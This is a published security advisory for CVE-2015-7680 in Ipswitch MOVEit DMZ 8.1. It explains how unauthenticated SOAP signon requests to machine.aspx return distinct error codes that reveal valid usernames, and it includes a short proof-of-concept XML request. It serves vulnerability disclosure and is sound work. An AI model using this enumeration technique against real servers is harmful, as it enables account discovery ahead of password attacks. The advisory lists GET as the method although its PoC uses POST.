Ipswitch MOVEit DMZ 8.1 Information Disclosure

`Profundis Labs - Security Advisory  
  
Vulnerablity Title  
==================  
Enumeration of existing usernames  
  
Vendor:  
=======  
Ipswitch, Inc (http://www.ipswitchft.com)   
  
Product:  
========  
MOVEit File Transfer  
  
MOVEit is an automated file transfer system that lets you manage, view, secure, and control all business-critical file transfer activity through a single, secure system.  
(Source: http://www.ipswitchft.com/moveit-managed-file-transfer)  
  
Affected Versions:  
==================  
MOVEit DMZ v8.1 and below  
  
Vulnerability Type:  
===================  
Information disclosure  
  
CVE Reference:  
==============  
CVE-2015-7680  
  
VENDOR Reference:  
=================  
http://docs.ipswitch.com/MOVEit/DMZ82/ReleaseNotes/MOVEitReleaseNotes82.pdf  
Vendor Reference Number: MIDMZ-6571  
  
Vulnerability Details:  
======================  
An unauthenticated user can check if a user name exists by using the controller: machine.aspx  
By performing a login via XML/Soap the different return codes can be evaluated to check wheather a user exists or not:  
  
ErrorCode 2050 -> Username does not exist  
ErrorCode 2025 -> Username exists but password is wrong or user is locked  
ErrorCode 0 -> Username exists and right password was provided  
  
PoC code(s):  
============  
POST /machine.aspx HTTP/1.1  
...  
  
<?xml version='1.0' encoding="iso-8859-1" ?>  
<siLockRequest>  
<transaction>signon</transaction>  
<username>USERNAME</username>  
<password>xxxxxxxx</password>  
<agentbrand>xxxx</agentbrand>  
<agentversion>8.1.0.0</agentversion>  
<ipaddress>x.x.x.x</ipaddress>  
</siLockRequest>  
  
Disclosure Timeline:  
====================  
Vendor Notification: 09/23/2015  
Vendor Confirmation: 09/24/2015  
Vendor Patch Release: 10/20/2015   
Public Disclosure: 01/27/2016  
  
Severity Level:  
===============  
7.1 (High)  
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L  
  
Description:  
============  
Request Method(s): [+] HTTP GET  
  
Vulnerable Product: [+] MOVEit DMZ v8.1 and below  
  
Authentication (Role): [+] Anonymous  
  
===========================================================  
[+] Author: Philipp Rocholl  
  
[+] Website: https://www.profundis-labs.com  
  
[+] Source: https://profundis-labs.com/advisories/CVE-2015-7680.txt  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given.   
Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.  
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information.  
  
  
`